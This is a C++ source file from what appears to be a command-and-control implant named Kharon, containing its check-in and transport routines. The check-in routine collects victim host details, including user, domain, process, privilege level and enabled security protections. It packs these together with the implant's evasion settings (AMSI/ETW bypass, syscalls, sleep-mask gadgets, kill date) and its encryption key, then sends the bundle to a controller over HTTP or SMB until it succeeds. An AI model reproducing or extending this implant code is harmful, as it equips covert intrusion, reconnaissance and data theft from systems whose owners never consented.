Files

186 lines
6.9 KiB
C++

#include <Kharon.h>
auto DECLFN Transport::Checkin(
VOID
) -> BOOL {
PPACKAGE CheckinPkg = Self->Pkg->Checkin();
PPARSER CheckinPsr = (PPARSER)KhAlloc( sizeof( PARSER ) );
KhDbg( "start checkin routine" );
PVOID Data = nullptr;
SIZE_T Length = 0;
PCHAR NewUUID = nullptr;
PCHAR OldUUID = nullptr;
ULONG UUIDsz = 36;
//
// the pattern checkin requirement
//
Self->Pkg->Pad( CheckinPkg, UC_PTR( Self->Session.AgentID ), 36 );
Self->Pkg->Byte( CheckinPkg, Self->Machine.OsArch );
Self->Pkg->Str( CheckinPkg, Self->Machine.UserName );
Self->Pkg->Str( CheckinPkg, Self->Machine.CompName );
Self->Pkg->Str( CheckinPkg, Self->Machine.DomName );
Self->Pkg->Str( CheckinPkg, Self->Machine.NetBios );
Self->Pkg->Int32( CheckinPkg, Self->Session.ProcessID );
Self->Pkg->Str( CheckinPkg, Self->Session.ImagePath );
//
// custom agent storage for kharon config
//
Self->Pkg->Int32( CheckinPkg, Self->Krnl32.GetACP() );
Self->Pkg->Int32( CheckinPkg, Self->Krnl32.GetOEMCP() );
// some evasion features enable informations
Self->Pkg->Int32( CheckinPkg, Self->Config.Syscall );
Self->Pkg->Int32( CheckinPkg, Self->Config.BofProxy );
Self->Pkg->Int32( CheckinPkg, Self->Config.AmsiEtwBypass );
// killdate informations
Self->Pkg->Int32( CheckinPkg, Self->Config.KillDate.Enabled );
Self->Pkg->Int32( CheckinPkg, Self->Config.KillDate.ExitProc );
Self->Pkg->Int32( CheckinPkg, Self->Config.KillDate.SelfDelete );
Self->Pkg->Int16( CheckinPkg, Self->Config.KillDate.Year );
Self->Pkg->Int16( CheckinPkg, Self->Config.KillDate.Month );
Self->Pkg->Int16( CheckinPkg, Self->Config.KillDate.Day );
// worktime informations
Self->Pkg->Int32( CheckinPkg, Self->Config.Worktime.Enabled );
Self->Pkg->Int16( CheckinPkg, Self->Config.Worktime.StartHour );
Self->Pkg->Int16( CheckinPkg, Self->Config.Worktime.StartMin );
Self->Pkg->Int16( CheckinPkg, Self->Config.Worktime.EndHour );
Self->Pkg->Int16( CheckinPkg, Self->Config.Worktime.EndMin );
// guardrail informations
Self->Pkg->Str( CheckinPkg, Self->Config.Guardrails.IpAddress ? Self->Config.Guardrails.IpAddress : (PCHAR)"" );
Self->Pkg->Str( CheckinPkg, Self->Config.Guardrails.HostName ? Self->Config.Guardrails.HostName : (PCHAR)"" );
Self->Pkg->Str( CheckinPkg, Self->Config.Guardrails.UserName ? Self->Config.Guardrails.UserName : (PCHAR)"" );
Self->Pkg->Str( CheckinPkg, Self->Config.Guardrails.DomainName ? Self->Config.Guardrails.DomainName : (PCHAR)"" );
// additional session informations
Self->Pkg->Str( CheckinPkg, Self->Session.CommandLine );
Self->Pkg->Int64( CheckinPkg, Self->Session.HeapHandle );
Self->Pkg->Int32( CheckinPkg, Self->Session.Elevated );
Self->Pkg->Int32( CheckinPkg, Self->Config.Jitter );
Self->Pkg->Int32( CheckinPkg, Self->Config.SleepTime );
Self->Pkg->Int32( CheckinPkg, Self->Session.ParentID );
Self->Pkg->Int32( CheckinPkg, Self->Session.ProcessArch );
Self->Pkg->Int64( CheckinPkg, Self->Session.Base.Start );
Self->Pkg->Int32( CheckinPkg, Self->Session.Base.Length );
Self->Pkg->Int32( CheckinPkg, Self->Session.ThreadID );
// fork informations
Self->Pkg->Wstr( CheckinPkg, Self->Config.Postex.Spawnto );
Self->Pkg->Str( CheckinPkg, Self->Config.Postex.ForkPipe );
// mask informations
Self->Pkg->Int64( CheckinPkg, Self->Config.Mask.JmpGadget );
Self->Pkg->Int32( CheckinPkg, Self->Config.Mask.Heap );
Self->Pkg->Int64( CheckinPkg, Self->Config.Mask.NtContinueGadget );
Self->Pkg->Int32( CheckinPkg, Self->Config.Mask.Beacon );
// additional machine informations
Self->Pkg->Str( CheckinPkg, Self->Machine.ProcessorName );
Self->Pkg->Int32( CheckinPkg, Self->Machine.IpAddress );
Self->Pkg->Int32( CheckinPkg, Self->Machine.TotalRAM );
Self->Pkg->Int32( CheckinPkg, Self->Machine.AvalRAM );
Self->Pkg->Int32( CheckinPkg, Self->Machine.UsedRAM );
Self->Pkg->Int32( CheckinPkg, Self->Machine.PercentRAM );
Self->Pkg->Int32( CheckinPkg, Self->Machine.ProcessorsNbr );
// win version
Self->Pkg->Int32( CheckinPkg, Self->Machine.OsMjrV );
Self->Pkg->Int32( CheckinPkg, Self->Machine.OsMnrV );
Self->Pkg->Int32( CheckinPkg, Self->Machine.OsBuild );
// memory info
Self->Pkg->Int32( CheckinPkg, Self->Machine.AllocGran );
Self->Pkg->Int32( CheckinPkg, Self->Machine.PageSize );
// security informations
Self->Pkg->Int32( CheckinPkg, Self->Machine.CfgEnabled );
Self->Pkg->Int32( CheckinPkg, Self->Machine.HvciEnabled );
Self->Pkg->Int32( CheckinPkg, Self->Machine.DseEnabled );
Self->Pkg->Int32( CheckinPkg, Self->Machine.TestSigningEnabled );
Self->Pkg->Int32( CheckinPkg, Self->Machine.DebugModeEnabled );
Self->Pkg->Int32( CheckinPkg, Self->Machine.SecureBootEnabled );
// encryption key
Self->Pkg->Bytes( CheckinPkg, Self->Crp->LokKey, sizeof( Self->Crp->LokKey ) );
// SMB pipe name (empty string for HTTP beacons)
Self->Pkg->Str( CheckinPkg, Self->Tsp->Pipe.Name ? Self->Tsp->Pipe.Name : (PCHAR)"" );
//
// send the packet
//
while ( ! Self->Pkg->Transmit( CheckinPkg, &Data, &Length ) ) {
Self->Mk->Main( Self->Config.SleepTime );
}
KhDbg( "transmited return %p [%d bytes]", Data, Length );
//
// If no response data (SMB checkin — parent reads data, no response on pipe)
// just mark as connected and return.
//
if ( ! Data || ! Length ) {
Self->Session.Connected = TRUE;
Self->Ntdll.DbgPrint( "[SMB] Checkin sent, no response expected — marked as connected\n" );
return TRUE;
}
//
// HTTP checkin: parse response with new agent ID
//
Self->Psr->New( CheckinPsr, Data, Length );
if ( ! CheckinPsr->Original ) return FALSE;
//
// parse old uuid and new uuid
//
OldUUID = (PCHAR)Self->Psr->Pad( CheckinPsr, 36 );
NewUUID = (PCHAR)Self->Psr->Pad( CheckinPsr, 36 );
KhDbg( "old uuid: %s", OldUUID );
KhDbg( "new uuid: %s", NewUUID );
Self->Session.AgentID = A_PTR( KhAlloc( UUIDsz ) );
Mem::Copy( Self->Session.AgentID, NewUUID, UUIDsz );
//
// validate checkin response
//
if ( ( NewUUID && Str::CompareA( NewUUID, Self->Session.AgentID ) != 0 ) ) {
Self->Session.Connected = TRUE;
}
KhDbg( "set uuid: %s", Self->Session.AgentID );
Self->Session.Connected = TRUE;
KhDbg( "checkin routine done..." );
return Self->Session.Connected;
}
auto Transport::Send(
_In_ MM_INFO* SendData,
_Out_opt_ MM_INFO* RecvData
) -> BOOL {
#if PROFILE_C2 == PROFILE_HTTP
Self->Ntdll.DbgPrint( "[TRANSPORT] Send via HTTP\n" );
return Self->Tsp->HttpSend(
SendData, RecvData
);
#endif
#if PROFILE_C2 == PROFILE_SMB
Self->Ntdll.DbgPrint( "[TRANSPORT] Send via SMB\n" );
return Self->Tsp->SmbSend(
SendData, RecvData
);
#endif
}